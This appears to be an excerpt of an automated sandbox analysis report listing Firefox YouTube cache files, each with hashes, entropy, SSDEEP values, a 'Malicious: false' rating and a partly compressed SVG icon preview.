Preview:	....sNaPpY....3....^<svg xmlns="http://www.w3.org/2000/svg" enable-background="new 0 0 24 24" height="24" viewBox=". .width...C><path d="M4 2v20l5-5h11V2H4zm9 12h-2v-2h2v2zm0-3h-2V5h2v6z"/></svg>

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\storage\default\https+++www.youtube.com\cache\morgue\10\{19ead043-bd1e-49c3-98ea-9872c2ffde0a}.tmp

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	snappy framed data
Category:	dropped
Size (bytes):	197
Entropy (8bit):	5.476773079996045
Encrypted:	false
SSDEEP:	3:9YVbRZWqKsqDmJS4RKb5hL6Fb0zVjXRH8+hHiAT17mbr4+HELK9hrqgrNI2fSb8:9YRZW/9mc4slhLJ9hCcA2shrlrNI26b8
MD5:	5525A3D889A5F2B22309572B81EB632F
SHA1:	75570ECF4E74C8094526263C3F8FCAF09D4EA87B
SHA-256:	82B1F81789C3CF58F4985BCF3DD14D3606A9BDA013BC08501E36BF46C4FD4E52
SHA-512:	D1E9153D5DA3549D63B5833648191EC199A616E64C343B2985A11626465BCB728E39A3A04B906EA5BD42BFF8B7376EF1A26E65C4E62B689AF0CBA19487FE982C
Malicious:	false
Reputation:	unknown
Preview:	....sNaPpY....3....^<svg xmlns="http://www.w3.org/2000/svg" enable-background="new 0 0 24 24" height="24" viewBox=". .width...C><path d="M4 2v20l5-5h11V2H4zm9 12h-2v-2h2v2zm0-3h-2V5h2v6z"/></svg>

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\storage\default\https+++www.youtube.com\cache\morgue\10\{b3408dcd-a11a-4f4d-b3e6-892d0230a20a}.final (copy)

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	snappy framed data
Category:	dropped
Size (bytes):	418
Entropy (8bit):	5.776806746773537
Encrypted:	false
SSDEEP:	12:9QBC4tM64ZgGLFUbbmBze9fRaMKtkZKYYmDCch/EA0:9L4tMfL2bmBOdDZKYnCQ8H
MD5:	A16EA228C26D9635887C0F16939633FD
SHA1:	4296FF50E58E69F667E69A5EB0E4B33D5584C011
SHA-256:	1147A378214D10A08296484419BE2CFE7E251BF90F5F0EA9897EC1B79E195664
SHA-512:	357C2DAF556AA2471B6F0887D32000939044CE584534FA0FBA618FBEC99031D0569C5CE662A9F3C1235785AB3FC9116E095E99396A082CB60E1C763F9E561C74
Malicious:	false
Reputation:	unknown
Preview:	....sNaPpY....}O.....F<svg xmlns="http://www.w3.org/2000/svg"><path fill-rule="evenodd" clip-:..Td="M5.5 3C4.11929 3 3 ..D5.5V21.5C3 22.8807...24... 24H22.5L26.7474 28.5741C27.5513 29.4399 29...871 ..<7.6895V24V5.5C29.V.7.f\|3 26.5 3H5.5ZM8 10.5C8 9.67157 8...9 9.5 9H..$C23.3284 9...*.24.<...1. .(.12...5 12H9.^.T.12 8 .,.z...6.$. 15.'.6...15..$15H18.5C19.d.15 20.-...?...7.!.).8 .9. 186...8.{.,.8 .>@Z"></path></svg>.

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\storage\default\https+++www.youtube.com\cache\morgue\10\{b3408dcd-a11a-4f4d-b3e6-892d0230a20a}.tmp

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	snappy framed data
Category:	dropped
Size (bytes):	418
Entropy (8bit):	5.776806746773537
Encrypted:	false
SSDEEP:	12:9QBC4tM64ZgGLFUbbmBze9fRaMKtkZKYYmDCch/EA0:9L4tMfL2bmBOdDZKYnCQ8H
MD5:	A16EA228C26D9635887C0F16939633FD
SHA1:	4296FF50E58E69F667E69A5EB0E4B33D5584C011
SHA-256:	1147A378214D10A08296484419BE2CFE7E251BF90F5F0EA9897EC1B79E195664
SHA-512:	357C2DAF556AA2471B6F0887D32000939044CE584534FA0FBA618FBEC99031D0569C5CE662A9F3C1235785AB3FC9116E095E99396A082CB60E1C763F9E561C74
Malicious:	false
Reputation:	unknown
Preview:	....sNaPpY....}O.....F<svg xmlns="http://www.w3.org/2000/svg"><path fill-rule="evenodd" clip-:..Td="M5.5 3C4.11929 3 3 ..D5.5V21.5C3 22.8807...24... 24H22.5L26.7474 28.5741C27.5513 29.4399 29...871 ..<7.6895V24V5.5C29.V.7.f\|3 26.5 3H5.5ZM8 10.5C8 9.67157 8...9 9.5 9H..$C23.3284 9...*.24.<...1. .(.12...5 12H9.^.T.12 8 .,.z...6.$. 15.'.6...15..$15H18.5C19.d.15 20.-...?...7.!.).8 .9. 186...8.{.,.8 .>@Z"></path></svg>.

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\storage\default\https+++www.youtube.com\cache\morgue\113\{3321c6d1-eda7-4eaa-b93a-34655b567071}.final (copy)

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	snappy framed data
Category:	dropped
Size (bytes):	364
Entropy (8bit):	5.103621108463015
Encrypted:	false
SSDEEP:	6:92sSr9mc4slhohgqWHiA4vmI4lAwuQgQIVY6Wqx5Xt6M0TRcmQTIfyuETUrNmraV:92B5noOAvmRHnIq6JmM0T7QobETUrsOV
MD5:	9D8BBD70725C7EF1461172BCC4E85C13
SHA1:	A4C4DB2AE4F58C81CA1DE7FCED23B522D6BB8F73
SHA-256:	4FD302F56FCFAE608964AAD2038A1570E38E96B82D52D590387AC91915A8C8BD
SHA-512:	FC90E23B5E86C1D6AAB537069159CE5EEEE5068817B6923BCFA33D93E54358FC38C5DD8EC4638B9EB5349DA1FED4679AF0159EF958CF48227EFB14DD67511811
Malicious:	false
Reputation:	unknown
Preview:	....sNaPpY.^..u......T.<svg xmlns="http://www.w3.org/2000/svg" height="24" style="enable-background:new 0 0 24 24;" viewBox="0 0 24 24" width="24"><path d="M12.5 6.44v-.5C13.36 5.71 14 4.93 14 4c0-1.1-.9-2-2-2s-2 .9-2 2h1c0-.55.45-1 1-1s1 .45 1 1-.45 1-1 1h-.5v1.44L4 13h2v6h1v2h1v-2h2v3h1v-3h2v2h1v-2h1v-3h3v-3h2l-7.5-6.56zM6.66 12 12 7.33 17.34 12H6.66z"/></svg>

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\storage\default\https+++www.youtube.com\cache\morgue\113\{3321c6d1-eda7-4eaa-b93a-34655b567071}.tmp

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	snappy framed data
Category:	dropped
Size (bytes):	364
Entropy (8bit):	5.103621108463015
Encrypted:	false
SSDEEP:	6:92sSr9mc4slhohgqWHiA4vmI4lAwuQgQIVY6Wqx5Xt6M0TRcmQTIfyuETUrNmraV:92B5noOAvmRHnIq6JmM0T7QobETUrsOV
MD5:	9D8BBD70725C7EF1461172BCC4E85C13
SHA1:	A4C4DB2AE4F58C81CA1DE7FCED23B522D6BB8F73
SHA-256:	4FD302F56FCFAE608964AAD2038A1570E38E96B82D52D590387AC91915A8C8BD
SHA-512:	FC90E23B5E86C1D6AAB537069159CE5EEEE5068817B6923BCFA33D93E54358FC38C5DD8EC4638B9EB5349DA1FED4679AF0159EF958CF48227EFB14DD67511811
Malicious:	false
Reputation:	unknown
Preview:	....sNaPpY.^..u......T.<svg xmlns="http://www.w3.org/2000/svg" height="24" style="enable-background:new 0 0 24 24;" viewBox="0 0 24 24" width="24"><path d="M12.5 6.44v-.5C13.36 5.71 14 4.93 14 4c0-1.1-.9-2-2-2s-2 .9-2 2h1c0-.55.45-1 1-1s1 .45 1 1-.45 1-1 1h-.5v1.44L4 13h2v6h1v2h1v-2h2v3h1v-3h2v2h1v-2h1v-3h3v-3h2l-7.5-6.56zM6.66 12 12 7.33 17.34 12H6.66z"/></svg>

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\storage\default\https+++www.youtube.com\cache\morgue\113\{b8ff7f89-d823-444f-a9fb-c82a65588d71}.final (copy)

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	snappy framed data
Category:	dropped
Size (bytes):	589
Entropy (8bit):	5.530455227711981
Encrypted:	false
SSDEEP:	12:9KDvs7N9UCqM7soJiilM1pA0RPp+pUGVF1sqKOTSur+HrHh49bTkR94LA/:9Y0jUWqfRPp+p/SucrIbTkR94k/
MD5:	3642D5820CA7CE4525164AA44F5D6BEB
SHA1:	B8D4C651B067C3BD08F2FEFBC9CEE8FDA03C9354
SHA-256:	9624B4751A170B67E592DC6B20F93A13AD959CA57A74BDD0998871414F05E512
SHA-512:	3CD72C8DF0F244DA5AA0AE250BB9CED273A45C30374864EA662B4E518DD03C6B7FF8030BBE1AE5FFD078CCB8B8338D43B7EE61EF7545059E87616C56FD3A079A
Malicious:	false
Reputation:	unknown
Preview:	....sNaPpY.?........^<svg xmlns="http://www.w3.org/2000/svg" enable-background="new 0 0 24 24" height="24" viewBox=". .width...><g><path d="M14 12c0 1.1-.9 2-2 2s-2-.9-....9..... ..` 2zM8.48 8.45l-.71-.7C6.6..$83 6 10.34...2s..83.17 1.77 4.25l.1L1C7.57 14.64 7 13.39...2s.57-2..D1.48-3.55zm7.75-.7.m .71c.91.9. . 2.15...3.54s-.U.>.-.>...q,.71C17.32 15...8.r.66 ...2s-.6.j.17-...-..,zM5.65 5.63l.z\C3.13 6.73 2 9.24 2 12s1..45.27 2.95 7.08..,4.02 16.74 3...49...2s1.02-4..82.65-6.37zm13.4......@9.98 7.26 21 9.51...12s-.?. .?!).5 .?.s.5 20.87 17....2.t.76 ...7.13-...-...-..4z"/></g></svg>

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\storage\default\https+++www.youtube.com\cache\morgue\113\{b8ff7f89-d823-444f-a9fb-c82a65588d71}.tmp

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	snappy framed data
Category:	dropped
Size (bytes):	589
Entropy (8bit):	5.530455227711981
Encrypted:	false
SSDEEP:	12:9KDvs7N9UCqM7soJiilM1pA0RPp+pUGVF1sqKOTSur+HrHh49bTkR94LA/:9Y0jUWqfRPp+p/SucrIbTkR94k/
MD5:	3642D5820CA7CE4525164AA44F5D6BEB
SHA1:	B8D4C651B067C3BD08F2FEFBC9CEE8FDA03C9354
SHA-256:	9624B4751A170B67E592DC6B20F93A13AD959CA57A74BDD0998871414F05E512
SHA-512:	3CD72C8DF0F244DA5AA0AE250BB9CED273A45C30374864EA662B4E518DD03C6B7FF8030BBE1AE5FFD078CCB8B8338D43B7EE61EF7545059E87616C56FD3A079A
Malicious:	false
Reputation:	unknown
Preview:	....sNaPpY.?........^<svg xmlns="http://www.w3.org/2000/svg" enable-background="new 0 0 24 24" height="24" viewBox=". .width...><g><path d="M14 12c0 1.1-.9 2-2 2s-2-.9-....9..... ..` 2zM8.48 8.45l-.71-.7C6.6..$83 6 10.34...2s..83.17 1.77 4.25l.1L1C7.57 14.64 7 13.39...2s.57-2..D1.48-3.55zm7.75-.7.m .71c.91.9. . 2.15...3.54s-.U.>.-.>...q,.71C17.32 15...8.r.66 ...2s-.6.j.17-...-..,zM5.65 5.63l.z\C3.13 6.73 2 9.24 2 12s1..45.27 2.95 7.08..,4.02 16.74 3...49...2s1.02-4..82.65-6.37zm13.4......@9.98 7.26 21 9.51...12s-.?. .?!).5 .?.s.5 20.87 17....2.t.76 ...7.13-...-...-..4z"/></g></svg>

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\storage\default\https+++www.youtube.com\cache\morgue\11\{3783227e-a3ec-493c-8999-b0b8ff52210b}.final (copy)

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	snappy framed data
Category:	dropped
Size (bytes):	557
Entropy (8bit):	5.240973513805731
Encrypted:	false
SSDEEP:	12:9s47N9UFBoGaBoVOLgbvSFWeGzE+5OPiufVKJXbUHzheG:9s4jUMGaBoc2SLX9fUby7
MD5:	61FE63358ED5C171881BFFFC422A3D0E
SHA1:	AA75BD2AB0C3337649E0C8B70BDA7F026C873854
SHA-256:	B595399F19902BC6FD474A33408FA74F5F4F97308C2FC8F8E6226897241E5CB7
SHA-512:	8F8DE25AD07E2B76F2E8366D6BE5C636CD40E1EA3A36C82595ABD42113816A0C7668D1AA6AF84B23C57644710CB607D166324330E8E095613190DE5159B3B3BD
Malicious:	false
Reputation:	unknown
Preview:	....sNaPpY....(..0...^<svg xmlns="http://www.w3.org/2000/svg" enable-background="new 0 0 24 24" height="24" viewBox=". .width...>.><path d="M18.77,11h-4.23l1.52-4.94C16.38,5.03,15.54,4,14.38,4c-0.58,0-1.14,0.24-1.52,0.65L7,11H3v10h4h1h9.43 c1.06,0,1.98-0.67,2.19-1.61l1.34-6C21.23,12.15,20.18,11,18.77,11z M7,20H4v-8h3V20z M19.98,13.17l-1.34,6 C18.54,19.65,18.03,20,17.43,20H8v-8.61l5.6-6.06C13.79,5.12,14.08,5,14.38,5c0.26,0,0.5,0.11,0.63,0.3 c0.07.....5,.( .09,0.47l).!?.L13....2h1.35h!\(c0.41,0,0.8.=.7,1!\$0.46C19.92...61,20.05...86,..@8,13.17z"/></svg>

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\storage\default\https+++www.youtube.com\cache\morgue\11\{3783227e-a3ec-493c-8999-b0b8ff52210b}.tmp

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	snappy framed data
Category:	dropped
Size (bytes):	557
Entropy (8bit):	5.240973513805731
Encrypted:	false
SSDEEP:	12:9s47N9UFBoGaBoVOLgbvSFWeGzE+5OPiufVKJXbUHzheG:9s4jUMGaBoc2SLX9fUby7
MD5:	61FE63358ED5C171881BFFFC422A3D0E
SHA1:	AA75BD2AB0C3337649E0C8B70BDA7F026C873854
SHA-256:	B595399F19902BC6FD474A33408FA74F5F4F97308C2FC8F8E6226897241E5CB7
SHA-512:	8F8DE25AD07E2B76F2E8366D6BE5C636CD40E1EA3A36C82595ABD42113816A0C7668D1AA6AF84B23C57644710CB607D166324330E8E095613190DE5159B3B3BD
Malicious:	false
Reputation:	unknown
Preview:	....sNaPpY....(..0...^<svg xmlns="http://www.w3.org/2000/svg" enable-background="new 0 0 24 24" height="24" viewBox=". .width...>.><path d="M18.77,11h-4.23l1.52-4.94C16.38,5.03,15.54,4,14.38,4c-0.58,0-1.14,0.24-1.52,0.65L7,11H3v10h4h1h9.43 c1.06,0,1.98-0.67,2.19-1.61l1.34-6C21.23,12.15,20.18,11,18.77,11z M7,20H4v-8h3V20z M19.98,13.17l-1.34,6 C18.54,19.65,18.03,20,17.43,20H8v-8.61l5.6-6.06C13.79,5.12,14.08,5,14.38,5c0.26,0,0.5,0.11,0.63,0.3 c0.07.....5,.( .09,0.47l).!?.L13....2h1.35h!\(c0.41,0,0.8.=.7,1!\$0.46C19.92...61,20.05...86,..@8,13.17z"/></svg>

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\storage\default\https+++www.youtube.com\cache\morgue\121\{e1ebd29c-66f2-42bd-9fe0-c03a9001d579}.final (copy)

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	snappy framed data
Category:	dropped
Size (bytes):	197
Entropy (8bit):	5.534778898548314
Encrypted:	false
SSDEEP:	6:9Lw/89mc4slhLJ9hCcPbQqaXFXaKyHSbE:9s/E7N9UuQqqlsyA
MD5:	F8A4486578289F338ECCEA68BF578C6E
SHA1:	6CBD17168A35B3F10B74A28F1FA3A83E161A7E35
SHA-256:	264C3EF4F7BC3F390875CA49D87EC35F9C4F0BBB0EABFDB38073951253CA721A
SHA-512:	E896CE1BBFD145A4C38F7E81A8AFB12C3F354D5632F24F26CF19E8B5F1A466FCA8D098E7277A4C0979170C37BE25B6CDCC0654AE94F46908BDE1810D4C03C3C1
Malicious:	false
Reputation:	unknown
Preview:	....sNaPpY.....?~@...^<svg xmlns="http://www.w3.org/2000/svg" enable-background="new 0 0 24 24" height="24" viewBox=". .width...C><g><path d="M4 21V10.08l8-6.96 8 6.96V21h-6v-6h-4v6H4z"/></g></svg>

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\storage\default\https+++www.youtube.com\cache\morgue\121\{e1ebd29c-66f2-42bd-9fe0-c03a9001d579}.tmp

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	snappy framed data
Category:	dropped
Size (bytes):	197
Entropy (8bit):	5.534778898548314
Encrypted:	false
SSDEEP:	6:9Lw/89mc4slhLJ9hCcPbQqaXFXaKyHSbE:9s/E7N9UuQqqlsyA
MD5:	F8A4486578289F338ECCEA68BF578C6E
SHA1:	6CBD17168A35B3F10B74A28F1FA3A83E161A7E35
SHA-256:	264C3EF4F7BC3F390875CA49D87EC35F9C4F0BBB0EABFDB38073951253CA721A
SHA-512:	E896CE1BBFD145A4C38F7E81A8AFB12C3F354D5632F24F26CF19E8B5F1A466FCA8D098E7277A4C0979170C37BE25B6CDCC0654AE94F46908BDE1810D4C03C3C1
Malicious:	false
Reputation:	unknown
Preview:	....sNaPpY.....?~@...^<svg xmlns="http://www.w3.org/2000/svg" enable-background="new 0 0 24 24" height="24" viewBox=". .width...C><g><path d="M4 21V10.08l8-6.96 8 6.96V21h-6v-6h-4v6H4z"/></g></svg>

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\storage\default\https+++www.youtube.com\cache\morgue\123\{babf8a35-3e28-4570-9432-28c0ff7f157b}.final (copy)

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	snappy framed data
Category:	dropped
Size (bytes):	390
Entropy (8bit):	4.948490676749512
Encrypted:	false
SSDEEP:	12:9gaFKnoU/vmRyPeR9YngQ9Ec6jhJ32AUp5:9gOKoU/vpmRQT9EFJUp5
MD5:	B85F318CE844CD0AC2D4CCFBFDE4D2BF
SHA1:	F3EEA534E7B991836CE9EEF594480DDB1BDA1987
SHA-256:	480677E695C4B197A66DB44B3D42F937F304E44FC560C6690885827CC99F4A5B
SHA-512:	1F8ED38E5DCC51DAAB4E6BC8AF64E6B1B8316436519CCF21B2A8414F493EFD374BC541A4DE3A00FCA1B9F48D113B235B657A94D9BB8ABA4EEE58D0802C1E10B6
Malicious:	false
Reputation:	unknown
Preview:	....sNaPpY.x..v..2... .<svg xmlns="http://www.w3.org/2000/svg" height="24" viewBox="0 0 24 24" width="24"><path d="M7 8c0 2.76 2.24 5 5 5s5-2.24 5-5h-1c0 2.21-1.79 4-4 4s-4-1.79-4-4H7zm9.9-2c-.46-2.28-2.48-4-4.9-4S7.56 3.72 7.1 6H4v14c0 1.1.9 2 2 2h12c1.1 0 2-.9 2-2V6h-3.1zM12 3c1.86 0 3.43 1.27 3.87 3H8.13c.44...I3 2.01-3 3.87-3zm7 17c0 .55-.45 1-1 1H6c-.55 0-1-.45-1-1V7h14v13z"/></svg>

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\storage\default\https+++www.youtube.com\cache\morgue\123\{babf8a35-3e28-4570-9432-28c0ff7f157b}.tmp

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	snappy framed data
Category:	dropped
Size (bytes):	390
Entropy (8bit):	4.948490676749512
Encrypted:	false
SSDEEP:	12:9gaFKnoU/vmRyPeR9YngQ9Ec6jhJ32AUp5:9gOKoU/vpmRQT9EFJUp5
MD5:	B85F318CE844CD0AC2D4CCFBFDE4D2BF
SHA1:	F3EEA534E7B991836CE9EEF594480DDB1BDA1987
SHA-256:	480677E695C4B197A66DB44B3D42F937F304E44FC560C6690885827CC99F4A5B
SHA-512:	1F8ED38E5DCC51DAAB4E6BC8AF64E6B1B8316436519CCF21B2A8414F493EFD374BC541A4DE3A00FCA1B9F48D113B235B657A94D9BB8ABA4EEE58D0802C1E10B6
Malicious:	false
Reputation:	unknown
Preview:	....sNaPpY.x..v..2... .<svg xmlns="http://www.w3.org/2000/svg" height="24" viewBox="0 0 24 24" width="24"><path d="M7 8c0 2.76 2.24 5 5 5s5-2.24 5-5h-1c0 2.21-1.79 4-4 4s-4-1.79-4-4H7zm9.9-2c-.46-2.28-2.48-4-4.9-4S7.56 3.72 7.1 6H4v14c0 1.1.9 2 2 2h12c1.1 0 2-.9 2-2V6h-3.1zM12 3c1.86 0 3.43 1.27 3.87 3H8.13c.44...I3 2.01-3 3.87-3zm7 17c0 .55-.45 1-1 1H6c-.55 0-1-.45-1-1V7h14v13z"/></svg>

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\storage\default\https+++www.youtube.com\cache\morgue\124\{178f2c7b-0f2c-41e8-93a9-735ec04e0d7c}.final (copy)

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	snappy framed data
Category:	dropped
Size (bytes):	438
Entropy (8bit):	4.739227048362019
Encrypted:	false
SSDEEP:	12:98noU/vmRIESMmpa8gQL8nJK18IyNzT+OjHf8:98oU/vwSMcNgQL8nJKCzN1jHf8
MD5:	7B4110FA3EFDE7EAA286ECB28002C24E
SHA1:	EF18905BF90BCEC8D651B137F902E2D70968B960
SHA-256:	3B339433141E9D91736EC678E692C2EC5890BE7D216F4BA576461109835B802B
SHA-512:	BFA6025D1B2638EC2AA85188C52D1D15B9FE8C85F1E431DA724F9A28BF6FBE78299539497A24FCE08E48985430E713C5982AEC2CC5B5C137F5B611BE77767FAC
Malicious:	false
Reputation:	unknown
Preview:	....sNaPpY....9.S......<svg xmlns="http://www.w3.org/2000/svg" height="24" viewBox="0 0 24 24" width="24"><path d="m17.77 10.32-1.2-.5L18 9.06c1.84-.96 2.53-3.23 1.56-5.06s-3.24-2.53-5.07-1.56L6 6.94c-1.29.68-2.07 2.04-2 3.49.07 1.42.93 2.67 2.22 3.25.03.01 1.2.5 1.2.5L6 14.93c-1.83.97-2.53 3.24-1.56 5.07.97 1.83 3.24 2.53 5.07 1.56l8.5-4.5c1.29-.68 2.06-2.04 1.99-3.49-.07-1.42-.94-2.68-2.23-3.25zM10 14.65v-5.3L15 12l-5 2.65z"/></svg>

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\storage\default\https+++www.youtube.com\cache\morgue\124\{178f2c7b-0f2c-41e8-93a9-735ec04e0d7c}.tmp

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	snappy framed data
Category:	dropped
Size (bytes):	438
Entropy (8bit):	4.739227048362019
Encrypted:	false
SSDEEP:	12:98noU/vmRIESMmpa8gQL8nJK18IyNzT+OjHf8:98oU/vwSMcNgQL8nJKCzN1jHf8
MD5:	7B4110FA3EFDE7EAA286ECB28002C24E
SHA1:	EF18905BF90BCEC8D651B137F902E2D70968B960
SHA-256:	3B339433141E9D91736EC678E692C2EC5890BE7D216F4BA576461109835B802B
SHA-512:	BFA6025D1B2638EC2AA85188C52D1D15B9FE8C85F1E431DA724F9A28BF6FBE78299539497A24FCE08E48985430E713C5982AEC2CC5B5C137F5B611BE77767FAC
Malicious:	false
Reputation:	unknown
Preview:	....sNaPpY....9.S......<svg xmlns="http://www.w3.org/2000/svg" height="24" viewBox="0 0 24 24" width="24"><path d="m17.77 10.32-1.2-.5L18 9.06c1.84-.96 2.53-3.23 1.56-5.06s-3.24-2.53-5.07-1.56L6 6.94c-1.29.68-2.07 2.04-2 3.49.07 1.42.93 2.67 2.22 3.25.03.01 1.2.5 1.2.5L6 14.93c-1.83.97-2.53 3.24-1.56 5.07.97 1.83 3.24 2.53 5.07 1.56l8.5-4.5c1.29-.68 2.06-2.04 1.99-3.49-.07-1.42-.94-2.68-2.23-3.25zM10 14.65v-5.3L15 12l-5 2.65z"/></svg>

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\storage\default\https+++www.youtube.com\cache\morgue\127\{b665fb6e-d8d8-420a-94de-5e4018b9a07f}.final (copy)

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	snappy framed data
Category:	dropped
Size (bytes):	406
Entropy (8bit):	5.3095580593184595
Encrypted:	false
SSDEEP:	12:987O8noU/vmRpRD3kuFSe1rGnSh0Hvn+LBFmI6:9qDoU/vk1kuFFmSh0Hvn+76
MD5:	34EABB6D7873666C4DCD0F6E2C379FDE
SHA1:	E6DCEB2FCD82D2513D383AFBA73625A4822B44CF
SHA-256:	2F6CDFEA39358C552286C9A055D5E364E27D8A1E6700DE932FD8F406446D7048
SHA-512:	DDD2D6D1C98D67CE10E3C4085FCD33499767B0A158DE2975CC6993F2CC06C8C09CB1DAF1FF628E4CF9127C973E87A6F3559E3459DE1FFE4C8685E40C1998ECE9
Malicious:	false
Reputation:	unknown
Preview:	....sNaPpY.......%...<svg xmlns="http://www.w3.org/2000/svg" height="24" viewBox="0 0 24 24" width="24"><path d="M17.5 12c0 2.14-1.5 3.92-3.5 4.38v-1.04c1.44-.43 2.5-1.76 2.5-3.34 0-1.58.'.6-2.9-..LV7.62c2 .46 3.5 2.24...4.38zM12 4.07v15.86L6.16 15H3V9h3.16L...zm-1...5L6.52 10H4v4h2.52L11 17.78V6.22zM21 ...<4.08-3.05 7.44-7 7.93v-1.01c3.39-.49 6-3.4 6-6.92s-2.61-6.43-...V...c3.95.,.7 3.85 .I$z"/></svg>

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\storage\default\https+++www.youtube.com\cache\morgue\127\{b665fb6e-d8d8-420a-94de-5e4018b9a07f}.tmp

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	snappy framed data
Category:	dropped
Size (bytes):	406
Entropy (8bit):	5.3095580593184595
Encrypted:	false
SSDEEP:	12:987O8noU/vmRpRD3kuFSe1rGnSh0Hvn+LBFmI6:9qDoU/vk1kuFFmSh0Hvn+76
MD5:	34EABB6D7873666C4DCD0F6E2C379FDE
SHA1:	E6DCEB2FCD82D2513D383AFBA73625A4822B44CF
SHA-256:	2F6CDFEA39358C552286C9A055D5E364E27D8A1E6700DE932FD8F406446D7048
SHA-512:	DDD2D6D1C98D67CE10E3C4085FCD33499767B0A158DE2975CC6993F2CC06C8C09CB1DAF1FF628E4CF9127C973E87A6F3559E3459DE1FFE4C8685E40C1998ECE9
Malicious:	false
Reputation:	unknown
Preview:	....sNaPpY.......%...<svg xmlns="http://www.w3.org/2000/svg" height="24" viewBox="0 0 24 24" width="24"><path d="M17.5 12c0 2.14-1.5 3.92-3.5 4.38v-1.04c1.44-.43 2.5-1.76 2.5-3.34 0-1.58.'.6-2.9-..LV7.62c2 .46 3.5 2.24...4.38zM12 4.07v15.86L6.16 15H3V9h3.16L...zm-1...5L6.52 10H4v4h2.52L11 17.78V6.22zM21 ...<4.08-3.05 7.44-7 7.93v-1.01c3.39-.49 6-3.4 6-6.92s-2.61-6.43-...V...c3.95.,.7 3.85 .I$z"/></svg>

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\storage\default\https+++www.youtube.com\cache\morgue\128\{b81fcfe8-2388-4ca7-a52c-2943c31b2c80}.final (copy)

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	snappy framed data
Category:	dropped
Size (bytes):	622
Entropy (8bit):	5.466712359221399
Encrypted:	false
SSDEEP:	12:9vUtM680acLDIunw3L9TD5YWN8L0Qwzk7ZRpQN40YlpSpGohdRDVmalM:9vUtMfaL67Y0z4npQN40YLSp3r/maK
MD5:	0EF1F531EF723AE794070D8FB9F22E7E
SHA1:	359A185E7E59E52162AA084FAB2F31D2131D2DA1
SHA-256:	7B92F7B90080F024B9F265B888631C058878628E569FB1301C8DC93ECAFC90B6
SHA-512:	876120BFDB112BDBBBEB2A87140AF386EBF91D13B9BBC02CF7E96FA0F9F10D66C4A7265811B7CA79223A61FE141712EA64C5C2773AAD6199648E3BCD496225EB
Malicious:	false
Reputation:	unknown
Preview:	....sNaPpY.`....7@...F<svg xmlns="http://www.w3.org/2000/svg"><path fill-rule="evenodd" clip-:..hd="M25.8411 11.9977C26.6778..8 27.4597 12.414..p9268 13.1082C28.6951 14.2498 ..$876 15.745./d08 16.8789L27.1796 17.9383..,8546 19.5037.N$257 20.436.M.1.\|.21.5102.N`596 22.3558L26.4999 24V25...4..07.1023 25.604...977 24. ...L...C.7.. 6C10.8953.j(9976 9.9998%..1022...5. V12.8264C.(.P$27 10.2604...1799...744...5015L15.8632 3.33586C16.0776 3.03569 16.4721 2.92531 !A.11.0,07062C18.576...8270)Ah347 5.74955 19.0766 7.6144L!p.....76L:...ZM5!.,4999C3.89543... 3!..3954...5.$.V...,!(.1045 .6%H.99 )..999H8V13.6HH5Z"></path></svg>.

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\storage\default\https+++www.youtube.com\cache\morgue\128\{b81fcfe8-2388-4ca7-a52c-2943c31b2c80}.tmp

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	snappy framed data
Category:	dropped
Size (bytes):	622
Entropy (8bit):	5.466712359221399
Encrypted:	false
SSDEEP:	12:9vUtM680acLDIunw3L9TD5YWN8L0Qwzk7ZRpQN40YlpSpGohdRDVmalM:9vUtMfaL67Y0z4npQN40YLSp3r/maK
MD5:	0EF1F531EF723AE794070D8FB9F22E7E
SHA1:	359A185E7E59E52162AA084FAB2F31D2131D2DA1
SHA-256:	7B92F7B90080F024B9F265B888631C058878628E569FB1301C8DC93ECAFC90B6
SHA-512:	876120BFDB112BDBBBEB2A87140AF386EBF91D13B9BBC02CF7E96FA0F9F10D66C4A7265811B7CA79223A61FE141712EA64C5C2773AAD6199648E3BCD496225EB
Malicious:	false
Reputation:	unknown
